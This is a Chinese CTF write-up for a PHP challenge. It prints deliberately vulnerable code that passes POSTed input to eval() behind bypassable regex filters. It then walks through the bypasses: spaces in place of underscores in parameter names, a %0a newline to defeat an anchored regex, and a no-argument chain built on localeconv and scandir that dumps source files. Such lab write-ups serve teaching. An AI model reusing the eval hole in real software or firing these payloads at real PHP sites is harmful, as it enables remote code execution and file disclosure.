前言
这是一个考察PHP小技巧的题目,这道题目上线后,一直有小伙伴在问我这道题怎么做。于是我决定将WriteUp发出来供大家学习参考。
代码分析
<?php
error_reporting(0);
$query = $_SERVER['QUERY_STRING'];
# 我们在这个判断中判断了请求字符串中是否包含下划线、点和他们自己的URL编码后的值。
if (preg_match('/_|%5f|.|%2E/i', $query)) {
die('You are Hacker!');
}
# 在这里判断了传入的k_e_y是否不等于123,又需要再preg_match中匹配123。
if($_GET['k_e_y'] !=='123' && preg_match('/^123$/',$_GET['k_e_y'])){
echo("You are will Win!<br>");
if(isset($_POST['command'])){
$command = $_POST['command'];
if(!preg_match("/~|`|@|#|\$|%|&|*|(|)|-|+|=|{|}|[|]|:|'|"|,|<|.|>|/|?|\\/i",$command)){
eval($command);
}
else{
echo("You are Hacker!");
}
}
}
else{
echo("K_e_y is Errors!");
}
第一个if,也就是不允许出现下划线、点的时候,大家是否想到了我需要GET传参k_e_y的时候,还可以使用“.”去替代下划线呢?但是这里,点和下划线都禁用了,其实我们这里也可以使用空格。
Payload:
?k e y=123
那么在第二个if中,如何要让他既不等于123,又等于123呢?
其实这个时候我们需要认识到的是,应该存在一个字符,可以进行截断。
猜得没错,理论上来说,就是换行符,也就是URL编码是%0a的那个。
那么到这一步,都做得很好,但是下面需要传入command,command如何才能绕过下面的preg_match呢?
$command = $_POST['command'];
if(!preg_match("/~|`|@|#|\$|%|&|*|(|)|-|+|=|{|}|[|]|:|'|"|,|<|.|>|/|?|\\/i",$command)){
eval($command);
}else{
echo("You are Hacker!");
}
这个preg_match过滤了很多特殊符号,如果不过滤“$”我们可能会有更多做法。
当我们细心观察时会发现,这里过滤的括号符号,竟然是中文括号?
所以...
其实我们可以利用一些特殊的函数去进行无参RCE?
PHP中,localeconv函数是用来返回包含本地化数字和货币格式信息的关联数组,其中是有特殊符号.的。
该函数第一个值就是“点”
那么我们使用current来取出数组当前位置。
接下来使用scandir来检查当前的目录
接下来就可以使用数组操作进行快捷的操作了,比如使用array_reverse调整顺序,next调整当前数组,接着用show_source来显示文件内容。
记得我们需要的是POST哦!
结果
Payload:
GET:
?k%20e%20y=123%0a
POST:
show_source(next(array_reverse(scandir(current(localeconv())))));
原文始发于微信公众号(中学生CTF):【青少年CTF】-PHP特性05
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论